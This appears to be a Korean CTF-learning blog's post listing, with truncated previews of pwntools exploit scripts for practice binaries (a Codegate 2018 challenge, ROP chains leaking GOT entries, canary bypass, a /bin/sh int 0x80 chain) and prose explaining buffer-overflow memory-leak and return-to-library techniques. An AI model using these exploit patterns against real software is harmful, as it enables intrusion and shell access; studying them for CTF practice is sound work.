목록분류 전체보기 (13)
9oat's LAB
123456789101112131415161718192021222324252627282930313233343536373839404142434445from pwn import * b = '/home/goat/PROB/2018 Codegate/BaskinRobins31'elf = ELF(b)c = process(b) pppr = p64(0x40087a) # pop rdi, pop rsi, pop rdx write_plt = elf.plt['write']write_got = elf.got['write']read_plt = elf.plt['read']strtoul_got = elf.got['strtoul'] pay = ''pay += 'A'*0xb8pay += pppr # leak write's libc add..
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970from pwn import * def smtm(s): s.send('show me the marimo\n') s.recvuntil(">>") s.send('tmp\n') s.recvuntil(">>") s.send('tmp\n') s.recvuntil(">>") def mod(s,pay,sel): s.send('V\n') s.recvuntil(">>") s.send(sel) s.recvuntil(">>") s.send('M\n') s.recvuntil(">>") s.sen..
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556from pwn import * s = remote("127.0.0.1", 8888) pppr = p32(0x806f280) # edx ecx ebxeax = p32(0x8048882)int80 = p32(0x806f870)bss = p32(0x80ea3d0)binsh = "/bin/sh"print "[*] Start" s.recvuntil(": ")s.send("2\n")s.recvuntil(") ")s.send("y\n")s.recvuntil(".\n")s.send(("a"*64)+"x")s.recvn(68) canar..
1234567891011121314151617181920212223242526from pwn import *from struct import * p = lambda x: pack("
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657from socket import * def parser(q): num = int(q.split('N=')[1].split(' C')[0]) cnt = int(q.split('C=')[1].split('\n')[0]) return num, cnt def value(src, dst): ans = ' '.join(str(i) for i in range(src, dst)) return ans def mid(src, dst): if (dst - src) % 2 == 0: mid = src + (dst-src) / 2 elif ..
1234567891011121314151617181920212223242526272829303132333435363738#include #include void main(){ int i; char *argvs[100]={""}; for(i=0;i
C프로그래밍에 대한 지식은 거의 없다시피 해서 푸는데 꽤 고생하고 오래 걸린 문제였는데, 문제랑 직접적으로 관련 없는 부분에서 이해가 안가는 점이 생겼었다. 먼저 문제에 대해서 설명을 하자면 코딩을 이용해 문제 이름 처럼 여러가지 input(argv,env,socket)으로 값을 넘겨나가는 문제였다.코딩을 해야하니까 일단 파일을 만들어야 하는데, input 바이너리가 있는 홈 디렉토리(/home/input2)에는 쓰기권한이 없어서, /tmp에 작업공간을 만들어서 풀어야했다. 그리고 [사진 1] input 코드 일부 input 문제코드 중에는 파일을 읽어들이는 코드(\x0a)가 있었는데, 내 생각엔 위와같은 코드일 때 input 바이너리와 동일한 디렉토리에 '\x0a'가 만들어져야 input이 해당 파일을..
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253from socket import *from struct import * HOST = '127.0.0.1'PORT = 8888 p = lambda x: pack("
Memory Leak 기법을 정리한 게시물의 내용 중 아무 함수로 RTL하는 건 아니고 send나 write같은 함수를 이용한다. 이 같은 함수들은 특정 값(buf 등)을 출력하거나 전송할 수 있는 함수들인데, 이 특정 값을 내가 원하는 주소로 인자를 구성한 뒤 RTL하여 값을 출력시키는 것이다. 라는 내용을 적었었다. RTL로 Memory Leak을 발생시키는 것에 대한 내용인데, 보통 CTF 문제들로 공부한 내용을 기반으로 정리하다 보니 send, write 함수를 사용하는 게 많아서 저렇게 적었었다. 근데 이 방법의 기본적인 원리는 단순히 출력(또는 전송)함수를 이용한 RTL로 임의의 주소의 값을 출력하는 것이기 때문에 send나 write가 아니더라도 뭐 printf라던가 puts도 똑같은 역할을..
원격 Exploit에서 함수 주소 offset 계산과 함께 사용하는 기법인 Memory Leak에 대하여 알아보자. Memory Leak은 말 그대로 메모리를 유출시키는 것인데 방법에 따라서 인접 메모리 영역의 값을 유출시킬 수도 있고, 특정한 주소의 값을 유출 시킬 수도 있다. 여러가지 방법들이 있겠지만 본 게시물은 Buffer Overflow를 이용한 기본적인 Memory Leak 두 가지를 다룬다. 사실 이것밖에 모름 1. Overflow를 이용해 변수와 변수 사이의 Null을 덮어씌워 인접한 메모리의 값을 유출시키는 기법2. Return To Library를 이용해 특정 주소의 값을 유출시키는 기법 첫 번째 방법부터 보자. 변수와 변수 사이에는 Null Byte가 존재하고, 보통 출력 함수들이 값..